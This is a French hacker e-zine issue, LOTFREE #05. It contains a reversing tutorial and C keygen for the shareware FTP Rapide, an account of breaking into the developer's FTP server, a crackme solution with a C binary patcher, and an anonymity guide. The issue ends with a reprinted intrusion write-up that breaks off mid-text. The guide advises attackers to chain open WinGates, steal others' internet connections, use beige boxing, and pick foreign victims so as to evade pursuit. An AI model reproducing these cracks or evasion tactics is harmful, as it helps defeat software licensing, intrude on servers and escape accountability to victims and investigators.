Land Of The Free #05 |
Sommaire |
|
Introduction |
Et ça y est, c'est
reparti pour un tour, quand yen a plus yen a rencor !!! Voilà fraichement
débarqué LOTFREE Numéro 5. Mine de rien le mag a bien
évolué et j'me marre lorsque je regarde les 2 premiers numéros.
Tout à vraiment commencé à partir du 3 au niveau du
contenu mais aussi du style... 5 numéros c'est autant que le RTC Mag qui est mon mag préféré pour la catégorie "Old School" (on va dire ça comme ça. C'est pourquoi je tiens à leur dédier ce numéro. Ce numéro est spécial car plutôt orienté hacking et même plutôt orienté sur la pratique. Intéressant non ? Je vous laisse juger par vous même. Comme d'habitude il y a les éternels articles de cracking pour pas vous dépaysager :) mais aussi un tut sur l'anonymat que j'ai fait le plus complet possible. Vous avez sûrement remarqué dans le sommaire le "Hack The Planet". Bah c'est un prog que j'ai codé pour délirer. De quoi vous faire passer pour le plus grand H4X0R de la planète. J'ai reçu encore une fois le soutient de OS4M4CKERS et je le remerci du fond du coeur :) Autre chose : les couleurs !! En effet l'interface est plutôt pas mal. Il s'agit d'un feuillet de style que j'ai récupéré sur le site de CASPAM (un site Anti-Spam & Co). Sur ce bonne lecture. sirius_black (nouvelle adresse mail et qui marche !!! ;) |
Faire un keygen pour FTP Rapide |
Présentation du logiciel
FTP Rapide est dévellopé par Jean-Claude
Mariotte (jcmariotte@kiriasse.fr), société Kiriasse ().On s'interesse ici à la version 4.4.1006. J'ai trouvé ce logiciel dans PC Shareware N°4, un mag avec des cds tout pleins de sharewares à cracker (quoique un peu trop de freewares à mon gout :-)). Ce mag est un peu vieux (novembre 2001) mais on est là pour apprendre ;-) La présentation qu'ils donnent du logiciel est la suivante : Ce logiciel client FTP permet de télécharger logiciels et documents depuis un serveur FTP. (nan c vrai ??) Limité en version non enregistrée à ceux acceptant les accès anonymes (login: anonymous / password: guest), il est extrémement simple à utiliser. S'il en est limité dans ces fonctions, il permet cependant de suivre les chargements avec des indications de taille, de progression et de vitesse. Mais ses principaux attraits reposent dans la recherche intégrée d'adresse FTP sur http://ftpfind.voila.fr et surtout dans la possibilité de créer des raccourcis avce une ligne de commande intégrant toutes les informations pour charger directement un fichier. Pratique donc pour récupérer régulièrement et d'un double-click des fichiers souvent mis à jours. Bon pour ce qui est de la communication avec le ftpfind de voila g pas pu tester car g pas de connexion internet perso (comme moi je ne cracke pas pour ma pomme ;-) A noter aussi que le logiciel possède une petite musique qui tourne en boucle : le canon de Pashenbel (je sais pas si ça s'écrit comme ça), enfin pour les pas culturés (car la cultivation c pour les patates), il s'agit de la musique de fond sur le "Je me souviens" de Ménélik. Cette musique, très agréable au demerant peu devenir très énervante si vous débuggez le logiciel (entendre le meme morceau pendant une heure c saoulant) alors baissez le son si vous le déplombez !! Le prix de la licence est de 150F Français, ce que personellement je trouve trop cher, enfin faut dire que j'utilise la commande FTP sous dos :-) Etude du logiciel Bon on fait comme d'hab, on provoque le logiciel : on le démarre, il nous met "version non enregistré" (ou un truc du style) alors nous on est poli, on clique sur "s'enregistrer", il nous demande un username (g pris niicolas ou sirius_black... selon les essais que g fait) puis ensuite il nous demande le password (le tout dans des InputBox différentes) la j'entre sirius01 ou 666fuckyou... Apparemment le logiciel n'aime pas : invalid name... On note sa Jérémiade et on désassemble le prog avec Win32Dasm (version 8.93 chez moi). On clique sur String Data References et là : Horeur !!! Ya que dalle sinon "VB5". Faut pas démoraliser parce que comme a dit intruder mexelite97 dans son tut "happy vb5 cracking" : "IF VISUAL BASIC THEN CRACKED AT ONCE". En effet les progs vb étaient de véritables merdes dans les versions 1, 2 et 3 du langage visual basic. Because il suffisait de posséder le Dodi's VB Discompiler et on se retrouvait avec la source du programme... LoL !!! Avec le VB5 ca va être plus dur !!! Quand g commence a déplombé le prog j'avais pas encore Smartcheck donc j'ai utilisé le VBREF de la team Execution Council. Le principe ? Vous enregistrer la decompilation dans un .alf avec w32dasm puis avec vbref vous générez un .vbr avec le prog et le .alf et vous obtenez à peu près ce que donne w32 mais avec les strings. Mais la navigation est disons... plus archaique avec vbref. Quoique il en soit on trouve les strings qui nous interesse dans vbref :
On clique sur "Le nom d'utilisateur
et/ou la clef..." (juste au dessus de Username and/or key are not valid.)
Si on clique plusieurs fois on voit que ya qu'une occurence donc c'est
cool.
On remarque le strcmp final dans cette fonction
locale : strcmp("666fuck","VJ$LSRAY");En gros on tombe sur : Nom d'utilisateur (User name)Alors comment ca marche ? Ben on debugge le prog avec w32 sur cette zone avec les options sur les apis et on regarde : Il commence par créer une inputbox qui demande le user name. Une fois rentré, le prog compare avec la chaine vide (vérifie que l'on a tapé kekchose). Puis il fait pareil avec la clé. Ca devient donc interessant à partir de :0042CBAF. Si on débugge on verra rien du tout dans la fenêtre de documentaion API et pour cause le call 0041FBB0 est une fonction crée le concepteur. En fait cette fonction utilise des variables locales qui sont stockées en ebp-1C et ebp-28. Et comme par hazard ya le username et la key !! Ca fait un tas de calcul puis après ca regarde si ax vaut zéro. Si c'est le cas les codes ne sont pas bons et on poursuit sinon c'est que c'est bon et on va en 0042CE61. J'en voient déjà qui disent : ca y est il va mettre un jmp 0042CE61 après la routine. Ben non !! Parce que le prog vérifie les clés (stockées dans la base de registre) au démarrage c'est pour ca qu'il nous affiche que l'on est pas enregistré au départ. Il se peut que ce soit la meme routine utilisé au démarrage et dans les box, dans ce cas il faut faire en sorte qu'elle renvoie toujours 1. Mais j'ai pas regarde (d'ailleurs faudra que je regarde). Moi je préfère ne pas toucher au prog et faire un keygen. Enfin j'ai quand meme essayé de le reverser pour qu'il crache la clé correspondante au username qu'on lui file. Ca marche la première fois que la fonction est appele mais apres c'est du nimportenawak (la pile n'est pas remise comme il faudrait, et puis le code n'est pas facilement détournable dans notre cas). En débuggant (toujours sans Smartcheck) on voit qu'il commence par : __vbaStrCopy(57f18b56,8dec8b55,0,0,0,0,0,0)=004566a4->"RAPIDFTP"// met RAPIDFTP en mémoire et dan eaxOuais je sais j'ai mis un peu trop de détail, j'en met un peu moins maintenant : rtcMidCharBstr(00468cb8->"NIICOLAS",1,0067e2f0,6602465b,66025324,0,0,0)=00468d88->"N" //on prend le premier caractère a partir du début API Address=0041FD4B, API Return Address=0041FD51 __vbaStrMove(6602465b,6602465b,66025324,0,0,0,0,0)=00468d88->"N" //mise en mémoire API Address=0041FD56, API Return Address=0041FD5C __vbaStrCopy(6602465b,66025324,0,0,0,0,0,0)=00471fec->"N" //mise en mémoire API Address=0041FD66, API Return Address=0041FD6C Ca recommence ensuite avec les 7 lettres qui
restent de notre login. par zone de chainece qui ne m'avait pas vraiment arrangé !! Alors je me suis dit : chaque fois qu'une lettre trouve sa correspondance, le programme en déduit une valeur. Il faut donc que je classe par "conséquence". En effet certaines lettres renvoient le même nombre. J'ai donc fait un regroupement par "jump" suivant les lettres et j'ai obtenu : par sautVoilà qui est plus lisible !! Premier problème que l'on remarque dans le programme : un calcul inutile !!! A quoi bon calculer un code à partir d'une chaine qui est toujours la même :( A moins que... a moins que cette fonction soit utilisé dans d'autres programmes du même développeur et dans ce cas si on arrive à faire un keygen pour FTP Rapide, il suffira de changer la chaine "magique" (RAPIDFTP) par TRUCFTP si on faire un keygen pour TrucFTP !! On verra ca quand j'aurais fini le tut :-) Reprennons, RAPIDFTP donne en nombres : 81694606. Voyons ce qu'il fait avec notre name rtcR8ValFromBstr(471eb4->"8")=10 //toujours pris dans w32dasm puis modifier pour la lectureIl fait donc une addition avec toutes les lettres. Mais si on calcule le serial comme ca, ca ne marchera pas... Il fait des calculs en plus. Alors je suis passé sur smartcheck pour la première fois et la vraiment ça vaut le coup !! Voici quelques images de quoi faire la config de smartcheck (si c'est pas déjà fait). Au lancement de startcheck je vous conseille d'avoir le bouton avec le carre bleu enfoncé (pas trop de détail). Puis vous loaddez FTP Rapide, vous entrez le username et la clé puis quand il affiche "username and/or key not valid" vous cliquez pas !!! Vous cliquez sur stop dans smartcheck. Ainsi on aura le minimum de code utile. Vous vous retrouvez devant : Il faut alors développer tous les derniers trucs. On commence par le load. On descent tout en bas, ya un "_Click". On le développe puis on recommence avec AniGIF1_Click (toujours en bas). Ne développez pas la message box après (message d'erreur). Vouz voyez : On a un peu de mal car Smartcheck met des décimaux et non de l'hexa : "V" vaut 86. On peut se repérer avec les marteaux. "niicolas" donne donc "VJOLSRAY". Mais c'est pas fini. On clique sur la bulle jaune dans le menu de SC et on a les appels API. Ben ça alors !! Notre 'O' se transforme en '$' !! On regarde avec notre 'S' (dernière lettre) : il prend la lettre et l'additionne avec le dernier chiffre (6) ce qui donne 'Y', normal. Mais après ya un tas de comparaison : avec les chiffres puis avec 'O'. On comprend qu'il traite des cas particuliers. Pour le 'O' voilà ce qu'il se passe. Pas de calcul, juste parce que c'est un 'O' on le remplace par '$'. L'expérience nous montreras que pour les caratères non lettres capitales, il les remplace par les chiffres du magic code+1. Si on rentre 01234567 il renvoie 927#4606 (je rapelle que le magic code est 81694606). On note que le 9 est remplacé par '#'. Voilà !! D'autres exemples : sirius_black donne 9T7KPGCQ 57463201 donne 927#5717 Un petit keygen. Allez on le fait en C : /* Keygen by sirius_black |
Le hack de Kiriasse |
Voici un exemple de hack très particulier qui je suis sûr
va vous plaire. Je vous recommande de lire d'abord l'article précédent
car les deux articles appartiennent à une seule et même histoire. Ben ouais le chat d'alice comme d'habitude ;-) Voici les erreurs commises par le programmeur : coder en VB (c'est clair net et précis), faire un logiciel tel que Mini FTP, et là c'est sans doute le plus gros problème. Car en effet il aura beau crypter la communication etc... On trouvera toujours le moyen d'acceder au serveur FTP. La racine web sur le serveur FTP c'est une erreur aussi. Franchement si j'avais su, j'aurais utilisé un sniffer je serais allé 100 fois plus vite (au moins ça). Quels conseils on peut donner au dévellopeur ? Ben arrêter de coder en VB donc. Ensuite avoir son propre serveur ftp et donner aucun droit en écriture à ceux qui se connectent avec le compte jmariotte est la solution la plus efficace. Kiriasse peut alors garder un compte perso qui lui donne tous les droits avec un autre login. Il peut aussi coder son propre serveur FTP qui ne respecterait pas le protocole (en modifiant les commandes par exemple) ainsi il interdit l'accès à travers un client FTP standart. Et ya sans doute un tas d'autres solution. Et si on relisait les infos qu'il donnait pour rire ? Version de démonstration : cette version de Mini FTP est gratuite et complète . Elle permet à titre d'exemple de télécharger , après saisie d'un mot de passe , les programmes d'installation de tous les logiciels présentés sur le site Kiriasse Logiciels. Version personnalisée : sur ce modèle, je vous propose de développer pour vous un ou plusieurs MiniFTP personnalisés (adaptés à votre cas personnel) qui permettront à toute personne à qui vous aurez communiqué un mot de passe de télécharger des fichiers de votre choix, placés par vos soins sur un serveur FTP, à une adresse connue de vous seul . La version de démonstration permet, à titre d'exemple, de télécharger les fichiers zip contenant les programmes d'installation de mes logiciels et le mot de passe à saisir (qui est incorporé dans un certain fichier F placé sur Internet) est "kiriasse" : pour cette version de démonstration, l'emplacement de ces fichiers sur Internet (et le mot de passe) ne sont donc évidemment un secret pour personne . Pour imaginer ce que peut être une version personnalisée , il faut donc (en pensée) « faire comme si » l'on ignorait l'emplacement des fichiers à télécharger . La question à se poser est alors : « Peut-on, sans connaître aucun mot de passe, accéder au téléchargement des fichiers ? » . Je prétends que la réponse est NON, pour 99% des personnes qui utilisent un ordinateur . Mais je ne suis pas naïf et je n'ignore pas que mon logiciel (qui ne coûte que 15,24 €) n'assure pas une sécurité absolue : si vous êtes l'un des responsables des Renseignements Généraux ou haut fonctionnaire au ministère de la Défense, je ne vous conseille donc pas, dans l'exercice de vos fonctions, d'utiliser MiniFTP ! A noter aussi que je place, dans les répertoires concernés du serveur FTP, un fichier index.html, ce qui a pour effet d'interdire l'affichage, par un navigateur WEB, de la liste des fichiers contenus dans ces répertoires . |
Tutoriel sur l'anonymat |
Voici un tut sur l'anonymat. J'ai essayé de rassemblé le plus d'informations possibles. Anonymat sur le web mais aussi sur IRC, FTP... Enjoy :) L'anonymat est plus qu'important sur l'internet mais aussi dans la vie
de tous les jours. Quand vous allez acheter une baguette de pain vous
ne souhaitez pas que le boulanger vous demande votre nom, votre métier,
votre adresse, numéro de téléphone... Et le boulanger
ne vous les demande pas car il respecte votre vie privée. Le web Alors comment faire pour préserver sa vie privée sur le web ? Regardons d'abord ce qu'un serveur web peut récupérer comme donnée vous concernant :
Ceci est du en grande partie au données envoyées par votre navigateur. Pour vous en convaincre, lancer netcat avec "nc -l -p 8080" et configurer votre navigateur avec le proxy HTTP "127.0.0.1:8080". Personnelement j'obtient : GET http://127.0.0.1/ HTTP/1.1 Perso mon truc c'est de faire croire que j'utilise un autre FAI que le mien dans un autre pays que le mien. Et bien évidemment il faut qu'il soit rapide. Mon autre truc c'est donc de prendre c'est qui ont soit cable soit adsl dans leur noms. Ca booste considérablement votre connexion surtout pour les sites vraiment distants (sites russes par exemple). En ce moment j'utilise en majorité le proxy adsl de wanadoo belgique. Vous trouverez de tels adresses à . Au cas où ceux de proxyconnection ne marche pas allez sur . Il donnent une liste qui se raffraichie régulièrement. Multiproxy est surtout le créateur d'un logiciel du même nom. Ce dernier permet de changer de proxy à des intervalles réguliers (du style toutes les 30 secondes). C'est lui même un petit proxy (qui tourne sur votre machine) qui fait le relai vers d'autres proxies. Il suffit pour l'utiliser de vous connecter sur votre proxy local et il se charge du reste :) Notez qu'il est possible de "chainer" les proxys en configurant votre navigateur avec l'adresse de proxy "http://proxy1:port1/http://proxy2:port2" mais ceci ralentit considérablement votre connexion. Un autre outil configurable en profondeur est le Proximitron. Il marche de la même façon que multiproxy. Vous pouvez cacher certaines variables d'environnement, les modifer et même plus ou moins modifier votre adresse IP. En fait en modifiant les champs d'une requête HTTP tel que HTTP_VIA, HTTP_FORWARDED le proximitron fera croire que lui même se sert d'un proxy. Il y a aussi les cookies qui sont stockés sur votre PC et permettent
à un site de savoir si vous êtes déjà passé
avant et quand. Le problème c'est que n'importe quel site peut
lire ces cookies c'est pour cela qu'il est important que chaque site crypte
ses propres cookies. Effacez les à chaque fois que vous vous déconnectez
car certains gardent en mémoire vos mot de passe. Je ne connait pas grand chose niveau IRC mais je vais faire de mon mieux. Sur IRC, une personne peut surtout obtenir votre IP mais aussi votre nom, votre prénom... Mais il faut évidemment NE JAMAIS DONNER SA VERITABLE IDENTITE A TOUT SUPPORT INFORMATIQUE. Même si votre PC n'est pas relié à Internet il faut éviter. Une personne peut obtenir des infos sur vous par IRC tout simplement avec les commandes /whois et /dns. Quand on parle de l'anonymat sur IRC, la première chose qui vient à l'esprit c'est les WinGates. WinGate vient de la compression du mot Windows et de Gate qui signifie Entrée ou Portail. Dès fois on tombe sur des articles ou les WinGates sont présentées
comme des failles Windows, ce qui n'est pas le cas. WinGate, comme tout serveur Firewall, est connectée sur Internet et permet à son réseau local d'en faire autant. WinGate est très utilisé par les PME (Petites & Moyennes Entreprises) car en installer une ne coutera au minimum qu'un pauvre ptit pentium, un modem 56k, une carte 100/baseT, une connexion Internet et évidemment le prix de la WinGate. Une WinGate possède beaucoup de fonctionnalitées telle que serveur SOCKS 5 (on verra ca plus tard), proxy Web/Cache, enregistrement des logs (ça ca nous arrange pas), comptes, systèmes de droits, passerelle FTP (hun hun), Telnet (huhu), proxy Real Audio, POP3 et bien d'autres :) Vous avez sans doute remarqué la fonction de passerelle Telnet. Celle ci vous permettra de vous connecter via Telnet à un serveur IRC. Pour cela c'est très simple vous vous connectez avec Telnet sur la WinGate et ce sur le port 23 (telnet). Vous obtenez en général un prompt du style 'WinGate>'. Vous n'avez alors qu'à entrer l'IP de votre serveur IRC suivi de son port, le tout séparé par des espaces. La plupart des clients IRC ont une option qui permet de passer à travers un Firewall. Il suffit donc pour être anonyme sur IRC de configurer votre client avec comme Firewall la Wingate et ça devrait marcher ;). Alors qu'elle est la différence entre un shell distant (on verra ça plus tard) et une WinGate ? Et bien tout simplement la WinGate ne requiert pas forcément de passwords pour s'y connecter. En fouillant vous pourrez trouver plusieurs WinGate et ainsi les chainer, vous augmentez ainsi votre anonymat. Alors les WinGate ça rend vraiment anonyme ? Tout d'abord on est jamais (ou presque) à cent pour cent anonyme. Ensuite on a vu que les WinGate possèdent des fonctions qui permettent de garder des traces de qui se connecte et où. Sachez quand même que cette option n'est pas activée par défaut et que certaines versions du logiciel ne la possèdent même pas. Oui mais est-ce qu'un mec sur IRC peut quand même connaître mon adresse IP ? Hehe !! Vous êtes anonymes car vous utilisez une passerelle. Si le mec arrive à avoir une connexion directe avec vous il peut par la commande netstat (sous dos) avoir votre vrai IP. Comment il fait ? Simple il va essayez d'avoir une connexion directe par le biais d'une session de Chat ou d'un simple transfet de fichier :). Donc meffiez vous de ce qu'on vous propose même si ça vous parrait anodin. ICQ - La pire des choses qui soit arrivé à votre vie privée Le titre de ce chapitre est pris, comme cette partie, du tutorial sur
l'anonymat de astalavista.box.sk. Les vulnérabilités se sont enchainées et une quantité trop importante existe toujours. Mais celle qui nous concerne viens du concept même de ICQ. En effet ICQ est un client à connexion directe. Si vous avez lu le chapitre sur IRC vous avez déjà compris : n'importe qui peut récupérer votre adresse IP, il lui suffit de dialoguer avec vous ou de vous envoyer un fichier... tout en tapant le fameux netstat. Mais et l'option "ne pas révéler mon adresse" ? Foutaises !! Votre client ne va effectivement pas révéler votre adresse si il reçoit une commande ICQ le lui demandant. Mais pour ce qui est des commandes msdos c'est autre chose :). La solution serait évidemment de créer des serveurs proxy ICQ. Mais quel serveur voudrait autant de zozos sur sa bande passante ? Il faudrait que le responsable de cette merde (Mirabilis) mette en place un tel serveur. La vérité c'est qu'ils s'en battent les couilles de votre vie privé. D'ailleurs qui vous dit que ICQ n'e possède pas une fonctionnalitée d'espionnage ? Une seule solution donc : laisser tomber ICQ. Cela dit j'ai lut quelques part que SOCKS reconnait ICQ mais je n'ai pas vérifié cette info. Lisez le chapitre sur FTP pour plus de détails sur SOCKS. Les mails Les mails c'est un des domaines où il est le plus facile de cacher son identité (IP et adresse mail). En effet il existe des tas de services qui permettent l'envoi de mail anonymes (rechercher anonymail). Vous pouvez aussi utilisez un serveur SMTP et modifier votre adresse mail (voir LOTFREE#01) mais attention certains relient votre adresse IP. Cette méthode est à éviter si vous posséder une IP fixe. Je ne m'étend pas sur le problème l'anonymat par email mais si ça vous intéresse je vous conseille fortement de lire de la documentation sur les Remailers (sorte de proxy pour mails) et les serveurs de pseudonymes qui vous donnent en quelque sorte une adresse virtuelle qui fait le relais avec votre véritable boîte mail (la transaction est en plus cryptée :) FTP Voilà un chapitre qui devrait vous intéresser puisqu'il
est étroitement lié à mon article sur le hack de
kiriasse. La technologie SOCKS est très très puissante et reconnait beaucoup de protocoles. Vous pouvez l'utiliser pour les NewsGroup, Telnet, les Chats, IRC... On peut considérer un proxy SOCKS comme étant un serveur proxy. Le désaventage par rapport à une WinGate est le besoin de s'identifier avec un login/password : il est très difficle de trouver un proxy SOCKS en libre accès (il est d'ailleurs très difficile de trouver un serveur SOCKS qui marche :( sigh !!). A ma connaissance il n'y a que deux versions du protocole SOCKS : 4 & 5. Un proxy SOCKS 4 ne reconnait pas l'authentification (cool) mais ne reconnait pas non plus le protocole UDP (pas cool). Le SOCKS 5 a réglé ces problèmes. Tous les logiciels de communication récents autorisent l'utilisation d'un tel proxy : Netscape, Internet Explorer, Cute FTP, FlashFXP... En général un proxy SOCKS tourne sur le port 1080 mais il peut être configuré autrement. Comme je l'ai dit plus haut il est vraiment très dûr de trouver un proxy SOCKS. Personellement j'ai mis une semaine avant de trouver un serveur SOCKS valide. Car il existe effectivement des listes de serveur SOCKS sur Internet, mais une fois retiré ceux qui ne marchent pas, ceux qui demandent un mot de passe et ceux qui firltrent l'IP, il reste... rien. Alors comment en trouver ? Et bien la solution est d'aller sur les sites de ceux qui en utilisent tout le temps : les boards Warez !! (voir Zataz mag N°6). A noter qu'il est possible de se servir d'un proxy SOCKS et ce même si votre logiciel est vieux. Cet exploit est réalisable grâce au logiciel SocksCap. Le problème est qu'il ne marche qu'avec les SOCKS 5 (ça restreint les chances d'utilisation). SocksCap permet en effet d'encapsuler la communication du client dans une communication SOCKS. Il suffit pour cela de configurer le logiciel que vous désirez utiliser dans SocksCap. L'icône de ce soft apparait alors dans la fenêtre de SocksCap, il ne vous reste qu'à double cliquer dessus. Le désavantage est la nécessité de passer par SocksCap à chaque lancement de votre client. Le problème majeur de SOCKS est de ne pas reconnaître les requêtes DNS, ceci nous oblige donc à utiliser les adresses IP des serveurs et non leurs noms. Vous trouverez dans le dossier "fichiers" inclus dans le mag un document pdf réalisé par le site anonymat.org et qui explique bien mieux que moi comment utiliser SocksCap. Telnet Telnet !!! Alala !! Ca c'est du protocôle !!! Il permet de grande
choses et il est donc nécessaire pour un hacker de savoir l'utiliser
et ce anonymement. On a vu qu'il existait certaines solutions telles que
les WinGate, les proxy Socks et même le tunneling (voire plus bas).
Mais une solution à laquelle on pense quand on parle de Telnet
c'est les shells !!! Un shell si vous savez pas ce que c'est, c'est en
gros une ligne de commande à partir de laquelle vous pouvez faire
tout ce que vous voulez. Intéressant non ? Le Tunneling Vous avez peut être entendu parler de logiciels qui permettent de faire de l'IRC à travers une communication HTTP (pages web). Et bien cette méthode s'appelle le tunneling. Comme son nom l'indique on crée un tunnel dans un protocôle (souvent le HTTP car le plus utilisé) puis on y fait passer presque tout ce qu'on veut. Cette technique est très utilisée dans les pays où la liberté d'expression, de pensée, etc. est baffouée (je pense à la Chine). Heureusement certains groupes comme Hacktivismo, créé par Count Zero de The Cult of The Dead Cow sont là pour créer des logiciels pour leurs venir en aide. Pour info la peine encourue par les pirates en Chine peut monter à la peine de mort. Deux pirates chinois se sont d'ailleurs fait fusiller pour avoir dit ce qu'ils pensaient de leurs dirigeants sur un serveur gouvernemental. Je tenais à vous parler du logiciel HTTPort que vous trouverez sur , ce dernier permet d'utiliser le tunneling pour un tas de logiciels récents et moins récents : les logiciels de P2P, ICQ, les messageries, FTP, IRC, AIM... et il est même prévu de faire tourner Quake & Co dans les prochaines versions.Alors l'anonymat ça existe vraiment ? Oui il y a quelques façons d'être réellement intracable. On a vu que à chaque fois, si on pouvait tromper notre victime, il était difficile de tromper le provider. Une des solutions que j'utilise est de mettre son numéro de téléphone en mode secret. Il suffit de faire le 36 51 avait de composer le numéro de votre correspondant. Donc dans vos paramêtres de connexion Internet vous mettez comme numéro 36 51 xx xx xx xx xx avec les x représentant le numéro de votre FAI. Attention, si votre victime appelle l'admin du proxy, il peut récupérer le nom de votre FAI, les appeler. Votre FAI voyant que le numéro est caché fait alors appel à France Telecom qui peut rendre visible le numéro de téléphone et ceci même une fois le hack totalement terminé (le pirate s'est déconnecté...) Mais là encore ça ne sert à rien si les informations que vous avez donné sont vraies !!! Evitez donc les abonnements avec prélèvement automatique où des trucs comme ça où vous devez donner vos vraies coordonnées. Quelques solutions s'offrent à vous : les accès sans abonnements du style Mageos (le provider de la FNAC). Mais je sais pas si ils le font toujours. Sinon il y avait nolog, un FAI qui comme son nom l'indiquait ne gardait aucune trace de ses clients. Bref la fournisseur de rêve pour tout hacker qui se respecte. Malheuresement il ont eu quelques problèmes avec la justice (putain de big brother) et je ne sais pas si ils existent toujours. Une autre solution ? Hacker d'un cybercafé, mais vu les restrictions qu'il peut y avoir ça vaut pas la peine :(. Laisser plutôt un sniffer qui tourne en fond et revenez plus tard :) Sinon dans le même style vous piquez la connexion Internet d'un autre mec. L'anonymat parfais c'est le détournement de ligne téléphonique (Beige Boxing) couplé avec les techniques que l'on a vu avant. Et là, à moins d'être en plein dans le champ de vision d'un satellite de la NSA ya pas de danger :). Mais tout ça c'est bien compliqué !! Si vous voulez mon avis, n'attaquez pas de sites trop importants style gouvernements, sites militaires. Quand au multinationnales et aux sites d'Universités mieux vaut attaquer les étrangères. Plus la victime est loin, plus elle sera démotivée pour vous retrouver. Hackez la Nouvelle Zélande et l'Alaska ;p |
Solution du crackme de An-Mojeg |
Bon on commence par étudier
le prog : Il demande un nom d'utilisateur et un serial. Malheuresement il
fait le difficile quand je lui donne sirius01 et 666fuckyou. (même
en étant plus poli style je lui donne 'password' en login et 'stp'
en pass il veut pas, c'est vraiment de la mauvaise volonté ;-) Alors on se dit qu'il va nous laisser passer de grès ou de force !!! Quand ca marche pas on obtient : _________________________________ __* Snif *________________________| Meuh faut reflechir + ke ca !!! | (OK) | Elle est belle ma boite de dialogue hein ? Alors on va dans Win32Dasm, on regarde les strnRef
et on voit que ya pas "Meuh..." On remarque aussi des chaines qui pourraient etre un
serial (LET-154873201478-FGHB) ou un login (An-Mojeg) mais ca semble trop
beau pour etre vrai, d'ailleurs ca Il y a alors plusieurs facons (different ways) de cracker ce prog : The moulu way (La facon du lucky man) : dans votre
lassitude (ou votre curiosité), vous descendez de quelques lignes
et vous tombez sur deux strcmp suivi d'un :00401325 68FF304000 push 004030FF <- la brute * Reference To: KERNEL32.lstrcmpA, Ord:02D6h <--
On compare les usernames * Reference To: KERNEL32.lstrcmpA, Ord:02D6h <--
on compare les serials * Reference To: USER32.MessageBoxA, Ord:01BBh <--
good boy Une facon plus brute ? Ba on fait un break sur tous les strcmp (yen a que 5) avec les infos de w32dasm et ca revient au même. Facon 'Allez j'me touche !!!' :00401316 68A0124000 push 004012A0 <-- ici * Reference To: KERNEL32.lstrcpyA, Ord:02DCh On est un peut décu car on aurait préféré
que ce soit une MessageBox. Bon le strcpy a deux arguments, la source
et la destination. Ici la chaine d'erreur est mise en 403249. * Referenced by a (U)nconditional or (C)onditional
Jump at Addresses: * Reference To: USER32.MessageBoxA, Ord:01BBh <--
on affiche bad boy On est alors dans le cas d'un crack classique : On a le message d'erreur, on revient à la source : 00401337 et 0040134B. On s'appercoit que c'est deux strcmp et ksi on pose des breaks dessus et bien on connait la suite. Comment on cracke le prog ? Ben on nop les deux sauts
conditionnels. #include <stdio.h> void noper(FILE *f, long offset) void main() if(!crck){ noper(crck,1847L); fclose(crck); printf("Fichier cracke. sirius_black\nmembres.lycos.fr/lotfree\n"); |
Autopsy d'une intrusion réussie |
Cet article est tiré de Hackers Digest numéro 2. Ce mag a bizarrement fait peut parler de lui et il me semble qu'ils ont arrêtés (le 3 date de hiver 2002). Dans le numéro 2, un mec qui travaille dans une boîte de test d'intrusion a écrit l'article que vous allez pouvoir lire ci-dessous. C'est la description de deux intrusions qu'il a réalisé dans le cadre de son travail. Dans la première il utilise la faille Unicode. Mais là ou il est fort c'est qu'il ne s'arrête pas à des simples commandes passées à travers son navigateur !! Non non non !! Le mec ne s'arrête que lorsqu'il est totalement maître de la machine et même du réseau entier ; du grand Art !!! Il y a aussi la façon dont il contourne le problème de l'antivirus. On peut pas s'empêcher de rire devant un anitivirus pareil... Enfin vous verrez par vous même :) =================[ Autopsy of a Successful Intrusion ]================== --- by Floydman --- This paper consists of the recollection and analysis of two network intrusion
that I have performed as part of my duties as a computer security consultant. Preface It's been over a year now that I delved into computer security. Before that, I was doing computer support and server admin on various platforms: DOS, OS/2, Novell, Windows. I have always been kind of a hack, but I never realized it until I had enough free time ahead of me to start studying the hacking scene and the computer security industry more in depth. That is how I started writing whitepapers, and that I was eventually invited to a conference to present some of my work. But I didn't want to have problems with the law, and I was short on ressources (money, boxes, bandwidth), so I limited myself to keeping tracks of new vulnerabilities and understanding how they worked without actually having the opportunity to try them on a real machine. So when I got this job and they asked me to try to hack these networks, I was really anxious at what I could really do. After all, I can't be worse than a script kiddie, can I? Targeted audience This document is presented to anyone who has interests in computer security, network intrusion, hacking, viruses and Trojan horses, network administration and computing in general. Introduction What I am about to describe here is the complete story of two successful network intrusion, where we (quickly and rather easily) had complete access to everything. These two networks are the same kind of networks that get infected all the time with I Love You, Melissa, Anna.Kournikova, Sircam only to name a few. The people who runs these networks, and the people who own them, can't keep ahead with plain viruses (for another sample of this, read "Virus protection in a Microsoft Windows network, or How to stand a chance"), let alone with a dedicated intruder that will hopefully be smart enough to hide his tracks (but even that his not even to be a requirement soon if it keeps up like that, as we'll see later). And these are networks owned by (apparently) respected big corporations, and were equiped with firewalls and antivirus software. And they still wonder why e-commerce never lifted up to expectations? Technical background of the hack Both networks were based on Microsoft systems, which is not that surprising
since it is the most (and by far) used platform in corporate environments,
especially on the desktop area. Both intrusions were made over the Internet
with tools freely available on the Internet. They used vulnerabilities
that were known for quite a long time, and we sometimes had to use a bit
of imagination to do the rest. If you are a Windows NT/2000 admin, what
you are about to read should scare you to hell. If you are a malicious
hacker that does this kind of thing for a living of just plain fun, you
probably know all this stuff already. Both intrusions followed the same methodology, similar to those of a typical intrusion, which is gathering of information, analysis of the information, research of vulnerabilities, and implementation of the attack (we didn't have time to test on one of our machines, but that didn't matter), repeat. Both attacks were done from our facilities using our dedicated ADSL line over the Internet. One of the intrusion involved going undercover physically onsite at the customer premises to plant a wireless hub on the network. A laptop equipped with a wireless network card was also used to link with the hub momentarilly, to avoid detection. Some of the tools used were: SuperScan : to scan classes of IP address to determine open ports Sugar input was provided with a supply of M&Ms and coke (the drink, not the sniff). The first victim Pseudonym : XYZ Media Publishing Corporation Type of company : Big Media Corporation (TV, radio, newspapers, magazines, record company, don't they all do that nowadays?) Time allowed to hack : 3 man/days Goal : penetrate the network as far as possible and get evidence of intrusion So I start with the beginning, making DNS lookups on their IP classes, whois requests and port scan the IP addresses of the company's main website as well as the subsidiaries websites. It turns out that there are over 140 machines publicly exposed to the Internet (web servers, DNS, mail, B2B), mostly Windows NT machines, with a couple *nix in the lot. A quick header scan of the web servers show effectively a mix of IIS 3.0 and 4.0. Now, the problem is to figure out where to start. Let's start with the obvious, the main website (NT 4.0 IIS 4.0). A quick check at the Bugtraq archive at SecurityFocus shows me that the "Directory traversal using Unicode vulnerability" is still quite popular (especially by script kiddies who uses it to perform website defacements), even if it's been out for about a year already. Especially since there is a new variation every couple of weeks or so. So I fire up my specially crafted hacking tool, MS Internet Explorer (sarcasm directed at medias covering hacking incidents). The directory traversal vulnerability works by fooling the web server to give you content located outside of the web directory 